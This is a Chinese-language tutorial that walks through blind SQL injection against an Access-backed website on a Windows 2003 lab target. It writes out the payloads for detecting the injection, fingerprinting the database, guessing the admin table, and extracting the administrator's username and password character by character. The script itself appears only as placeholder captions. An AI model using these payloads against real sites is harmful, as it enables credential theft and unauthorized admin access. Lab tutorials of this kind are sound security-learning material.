ACCESS盲注之获取网站的管理员账户密码

我们将通过一个网站来熟悉ACCESS盲注
靶机:
win2003
我们先在网站的各个地方寻找注入点,发现在id的位置存在一个注入点
ACCESS盲注之获取网站的管理员账户密码
接着判断是字符型注入还是数值型注入,发现是数值型注入
1.字符型测试:id=2’ and ‘1’='1或id=2" and “1”="1
2.数值型测试:id=2 and 1=1
ACCESS盲注之获取网站的管理员账户密码
接着进行错误注入判断
id=2 and 1=0
ACCESS盲注之获取网站的管理员账户密码
判断是否为ACCESS数据库
id=2 and exists(select * from sysobjects)
id=2 and exists(select * from msysobjects)
ACCESS盲注之获取网站的管理员账户密码
ACCESS盲注之获取网站的管理员账户密码
sysobjects表不存在,msysobject表存在,但没有读取权限,可以判断为ACCESS数据库,因为union在这里不能使用,我们采取盲注的方法
猜测是否存在表admin
id=2 and exists(select * from admin)
ACCESS盲注之获取网站的管理员账户密码
admin表存在。我们找一下管理员登录界面,试一下/admin/或admin.asp
ACCESS盲注之获取网站的管理员账户密码
管理员界面为admin.asp,名称框和密码框的name值为username和password
ACCESS盲注之获取网站的管理员账户密码
猜测admin表应该存在username字段和password字段,在注入点验证一下
id=2 and exists(select username,password from admin)
ACCESS盲注之获取网站的管理员账户密码
username和password存在,用二分判断username字段的第一个值的长度,结果为5,
id=2 and (select top 1 len(username) from admin)=5
ACCESS盲注之获取网站的管理员账户密码
同样判断password字段的第一个值的长度,结果为10
id=2 and (select top 1 len(password) from admin)=10
ACCESS盲注之获取网站的管理员账户密码
接着判断username和password的各个字符
payload格式:
id=2 and (select top 1 asc(mid(username,字符位置,1)) from admin)=字符的ascii值
我们编写python脚本进行测试,代码如下:
ACCESS盲注之获取网站的管理员账户密码
结果为:
ACCESS盲注之获取网站的管理员账户密码
最后来到管理员界面登录
ACCESS盲注之获取网站的管理员账户密码
登录成功
ACCESS盲注之获取网站的管理员账户密码

上一篇:openfalcon 使用记录


下一篇:Mysql常用sql语句(19)- in / exists 子查询